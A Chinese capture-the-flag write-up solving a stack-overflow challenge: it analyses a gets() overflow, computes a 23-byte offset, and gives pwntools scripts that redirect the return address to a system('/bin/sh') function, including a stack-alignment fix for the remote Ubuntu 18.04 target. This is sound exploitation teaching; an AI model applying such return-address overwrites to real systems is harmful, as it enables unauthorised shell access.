BUU PWN RIP1 RET2CODE WRITEUP

1、下載附件後,運行是一個輸入程序,IDA分析main函數,gets可溢出。

F5僞代碼如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+1h] [rbp-Fh]

  puts("please input");
  gets(&s, argv);
  puts(&s);
  puts("ok,bye!!!");
  return 0;
}

2、在附近還有個fun函數,存在shell入口。

int fun()
{
  return system("/bin/sh");
}

3、checksec查看無保護。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
4、解法思路:只要對gets棧溢出,並修改函數ret的指針至fun函數即可。
5、在main函數下斷點,單步執行,在到gets函數之前,記錄棧頂和棧底地址。
rbp:0x7fffffffe7a0
rsp:0x7fffffffe790
參數起始位置:0x7fffffffe791

6、單步執行運行,輸入任意字符,執行完函數。ret位置在0x7fffffffe7a8,也就是需要替換的return address位置。

7、所以這裏的offset填充值=ret的位置-第一個參數開始位
0x7fffffffe7a8-0x7fffffffe791
也就是23個字節
手工嘗試填充23*"A",觀察棧填充情況,一直寫覆蓋原棧底值

 

 8、在IDA中找到fun函數的開始位置:0x401186。這個值用來替換棧中原本的內容0x7ffff7e15d0a

 9、寫exp

from pwn import *

r = process('./pwn1')

offset = 0x7fffffffe7a8-0x7fffffffe791
fun = 0x0000000000401186
r.sendline('a'*offset+p64(fun).decode("iso-8859-1"))
r.interactive()

在本地可以執行,但是目標替換爲遠端就不行了

10、看到遠端環境是ubuntu18.04,試過本地使用ubuntu18.04也不行。
11、在18.04執行exp後斷點分析,最後停留語句在
movaps XMMWORD PTR [rsp+0x40],xmm0
12、movaps會判斷是否16字節對齊,這裏判斷的rsp+0x40指針地址,差8字節對齊。
最後查詢glibc版本2.27的system會有這樣的判斷,可以看到ubuntu18.04中glibc版本

 

在401186位置壓入的rbp,只做堆棧保留,不影響對shell執行。所以這裏可以跳過這次壓棧,減掉後面棧中的8字節之差。
所以可以跳過rbp壓棧或棧頂提升,直接在401187和40118A執行都可以
13、所以exp應該是這樣
from pwn import *

  r = remote("X.X.X.X",29395)

offset = 0x7fffffffe7a8-0x7fffffffe791
fun = 0x0000000000401187
r.sendline('a'*offset+p64(fun).decode("iso-8859-1"))
r.interactive()
14、遠端執行成功拿到flag

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章